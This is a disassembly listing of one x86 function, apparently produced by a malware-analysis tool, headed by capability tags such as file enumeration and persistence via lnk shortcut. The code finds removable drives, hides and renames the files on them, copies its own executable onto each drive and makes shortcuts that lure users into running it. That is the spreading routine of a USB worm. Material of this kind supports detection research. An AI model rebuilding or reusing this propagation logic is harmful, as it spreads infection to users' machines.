Function at 0x401f30
Capabilities:
Copy file
Delete file
Enumerate files on windows
Get common file path
Get disk information
Get file attributes
Move file
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe34
push esi
push edi
mov ecx, 6
mov esi, 0x401408
lea edi, [ebp - 0x15c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, 0xd
mov esi, 0x401424
lea edi, [ebp - 0x140]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x104
push 0
lea eax, [ebp - 0x268]
push eax
call fcn.00402820
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x108]
push ecx
call fcn.00402820
add esp, 0xc
lea edx, [ebp - 0x268]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0x268]
push eax
push 0x40145c
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x26c], 0
jmp 0x401fda
mov edx, dword [ebp - 0x26c]
add edx, 1
mov dword [ebp - 0x26c], edx
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0x26c], eax
jae 0x4025dc
mov ecx, dword [ebp - 0x26c]
mov dl, byte [ebp + ecx - 0x15c]
mov byte [ebp - 0x274], dl
mov byte [ebp - 0x273], 0x3a
mov byte [ebp - 0x272], 0
mov eax, dword [ebp - 0x26c]
mov cl, byte [ebp + eax - 0x15c]
mov byte [ebp - 0x270], cl
mov byte [ebp - 0x26f], 0x3a
mov byte [ebp - 0x26e], 0x5c
mov byte [ebp - 0x26d], 0
lea edx, [ebp - 0x274]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 2
jne 0x4025d7
push 5
push 0
lea eax, [ebp - 0x6e8]
push eax
call fcn.00402820
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x6e0]
push ecx
call fcn.00402820
add esp, 0xc
lea edx, [ebp - 0x274]
push edx
push 0x401468
lea eax, [ebp - 0x4c8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x4c8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 0xffffffff
je 0x4020eb
mov edx, dword [ebp - 0x6ec]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x4c8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4020f0
jmp 0x401fcb
push 0x104
push 0
lea ecx, [ebp - 0x5d0]
push ecx
call fcn.00402820
add esp, 0xc
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x5d4]
push edx
push 0
push 0
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 0x5d4]
push ecx
call fcn.00401ab0
add esp, 4
push 0xf
lea edx, [ebp - 0x5d0]
push edx
call fcn.00401cf0
add esp, 8
push 0x401480
lea eax, [ebp - 0x5d0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x274]
push ecx
push 0x401488
lea edx, [ebp - 0x6e8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x6e8]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0xffffffff
je 0x402538
lea edx, [ebp - 0x5d0]
push edx
lea eax, [ebp - 0x394]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x40251c
mov byte [ebp - 0x7fa], 0
mov byte [ebp - 0x7f9], 0
push 0x104
push 0
lea ecx, [ebp - 0xc18]
push ecx
call fcn.00402820
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0xb10]
push edx
call fcn.00402820
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0xa08]
push eax
call fcn.00402820
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x7f8]
push ecx
call fcn.00402820
add esp, 0xc
lea edx, [ebp - 0x394]
push edx
lea eax, [ebp - 0x7f8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov dword [ebp - 0xc1c], 0
jmp 0x40224c
mov ecx, dword [ebp - 0xc1c]
add ecx, 1
mov dword [ebp - 0xc1c], ecx
lea edx, [ebp - 0x394]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp dword [ebp - 0xc1c], eax
jge 0x40229f
mov eax, dword [ebp - 0xc1c]
movsx ecx, byte [ebp + eax - 0x7f8]
test ecx, ecx
jne 0x402275
jmp 0x40229f
mov edx, dword [ebp - 0xc1c]
movsx eax, byte [ebp + edx - 0x7f8]
cmp eax, 0x20
jne 0x40229d
mov ecx, dword [ebp - 0xc1c]
mov byte [ebp + ecx - 0x7f8], 0x5f
mov byte [ebp - 0x7f9], 1
jmp 0x40223d
movsx edx, byte [ebp - 0x7f9]
test edx, edx
je 0x402334
push 0x104
push 0
lea eax, [ebp - 0xd28]
push eax
call fcn.00402820
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0xe30]
push ecx
call fcn.00402820
add esp, 0xc
lea edx, [ebp - 0x394]
push edx
lea eax, [ebp - 0x274]
push eax
push 0x401490
lea ecx, [ebp - 0xd28]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x7f8]
push edx
lea eax, [ebp - 0x274]
push eax
push 0x401498
lea ecx, [ebp - 0xe30]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0xe30]
push edx
lea eax, [ebp - 0xd28]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov ecx, dword [ebp - 0x3c0]
and ecx, 0x10
je 0x402346
mov byte [ebp - 0x7fa], 1
lea edx, [ebp - 0x7f8]
push edx
lea eax, [ebp - 0x274]
push eax
push 0x4014a0
lea ecx, [ebp - 0xc18]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x7f8]
push edx
lea eax, [ebp - 0x274]
push eax
push 0x4014ac
lea ecx, [ebp - 0xb10]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x4014b4
lea edx, [ebp - 0x7f8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4023cb
push 0x80
lea eax, [ebp - 0xb10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xb10]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40251c
push 0x4014bc
lea edx, [ebp - 0x7f8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x402423
push 0x4014c4
lea eax, [ebp - 0x7f8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x402423
push 0x4014cc
lea ecx, [ebp - 0x7f8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x402423
push 0x4014d4
lea edx, [ebp - 0x7f8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x4024a2
lea eax, [ebp - 0xb10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0xe34], eax
mov ecx, dword [ebp - 0xe34]
and ecx, 1
jne 0x402457
mov edx, dword [ebp - 0xe34]
and edx, 2
jne 0x402457
mov eax, dword [ebp - 0xe34]
and eax, 4
je 0x4024a0
push 0x80
lea ecx, [ebp - 0xb10]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0xb10]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0xb10]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0xe34]
push edx
lea eax, [ebp - 0xb10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x40251c
lea ecx, [ebp - 0xc18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0xa08]
push edx
lea eax, [ebp - 0xc18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea ecx, [ebp - 0xc18]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dl, byte [ebp - 0x7fa]
push edx
lea eax, [ebp - 0xa08]
push eax
lea ecx, [ebp - 0x5d0]
push ecx
lea edx, [ebp - 0x394]
push edx
call fcn.00401d60
add esp, 0x10
test eax, eax
jne 0x40251c
push 6
lea eax, [ebp - 0xb10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 5
lea ecx, [ebp - 0xc18]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x3c0]
push edx
mov eax, dword [ebp - 0x27c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40219b
lea ecx, [ebp - 0x5d0]
push ecx
lea edx, [ebp - 0x274]
push edx
push 0x4014dc
lea eax, [ebp - 0x6e0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x6e0]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x6e0]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x6e0]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 6
lea edx, [ebp - 0x6e0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 6
push 3
push 0
push 3
push 0x80000000
lea eax, [ebp - 0x6e0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [0x407acc]
mov dword [ecx*4 + 0x4076c8], eax
mov edx, dword [0x407acc]
add edx, 1
mov dword [0x407acc], edx
jmp 0x401fcb
pop edi
pop esi
mov esp, ebp
pop ebp
ret